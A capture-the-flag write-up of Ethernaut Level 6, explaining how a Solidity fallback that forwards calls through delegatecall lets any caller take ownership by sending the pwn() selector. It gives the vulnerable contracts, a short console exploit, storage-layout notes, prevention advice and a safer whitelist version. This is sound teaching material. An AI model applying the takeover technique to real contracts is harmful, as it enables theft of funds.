Ethernaut Level 6: Delegation
Learn about Solidity's delegation pattern and how it can be exploited if not implemented carefully. This challenge demonstrates how delegatecall can be dangerous when used improperly.
The Challenge
The goal of this level is to claim ownership of the contract. You are given two contracts: a Delegate contract and a Delegation contract. The Delegation contract uses delegatecall to execute code from the Delegate contract.
The Contracts
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (!result) {
revert();
}
}
}Understanding the Vulnerability
The vulnerability in this challenge stems from how delegatecall works in Solidity. When a contract uses delegatecall:
- The code at the target address is executed in the context of the calling contract
- The storage layout must match between the contracts
- msg.sender and msg.value are preserved
In this case, the Delegation contract has a fallback function that performs a delegatecall to whatever function is specified in the msg.data. The Delegate contract has a pwn() function that sets the owner to msg.sender. Because of how delegatecall works, when pwn() is called via delegatecall, it will modify the owner variable in the Delegation contract's storage.
The Solution
To solve this challenge, we need to:
- Get the function signature of pwn()
- Send a transaction to the Delegation contract with this function signature as msg.data
Solution Code
// In the browser console:
// Get the function signature for pwn()
const pwnSignature = web3.eth.abi.encodeFunctionSignature('pwn()')
// '0xdd365b8b'
// Send transaction to the contract
await contract.sendTransaction({data: pwnSignature})
// Verify you are the new owner
await contract.owner() === playerUnderstanding delegatecall
delegatecall is a low-level function in Solidity that allows a contract to execute code from another contract while maintaining its own storage context. This means:
- Storage variables are accessed from the calling contract
- msg.sender remains the original caller
- ETH value (if sent) stays with the calling contract
Storage Layout
For delegatecall to work properly, both contracts must have matching storage layouts:
// Delegate contract storage
address public owner; // slot 0
// Delegation contract storage
address public owner; // slot 0
Delegate delegate; // slot 1
// When pwn() is called via delegatecall, it modifies slot 0
// in the Delegation contract's storageKey Lessons
- Dangerous Flexibility: delegatecall is powerful but dangerous because it executes code in the context of the calling contract
- Storage Layout: When using delegatecall, storage layout must match between contracts
- Fallback Functions: Be careful with fallback functions that forward calls, especially with delegatecall
- Access Control: Consider who can trigger delegatecall and what functions they might be able to call
Prevention
To prevent this type of vulnerability:
- Avoid using delegatecall with untrusted contracts
- If delegatecall is necessary, implement strict access controls
- Validate function signatures before forwarding calls
- Consider using a proxy pattern with explicit function forwarding
Safer Implementation
contract SaferDelegation {
address public owner;
Delegate delegate;
// Mapping of allowed function signatures
mapping(bytes4 => bool) public allowedFunctions;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
// Only allow specific functions to be called via delegatecall
function setAllowedFunction(bytes4 functionSig, bool allowed) external {
require(msg.sender == owner, "Only owner");
allowedFunctions[functionSig] = allowed;
}
fallback() external {
require(allowedFunctions[msg.sig], "Function not allowed");
(bool result,) = address(delegate).delegatecall(msg.data);
require(result, "Delegatecall failed");
}
}Real World Impact
This vulnerability pattern has led to several real-world exploits, particularly in proxy contract implementations. The most notable example is the Parity Wallet Hack, where a similar delegatecall vulnerability led to the loss of millions of dollars worth of ETH.
⚠️ Important Note
When implementing upgradeable contracts or proxy patterns, always ensure that:
- Storage layouts are carefully managed and documented
- Delegate calls are restricted to trusted contracts
- Access controls are properly implemented
- Function signatures are validated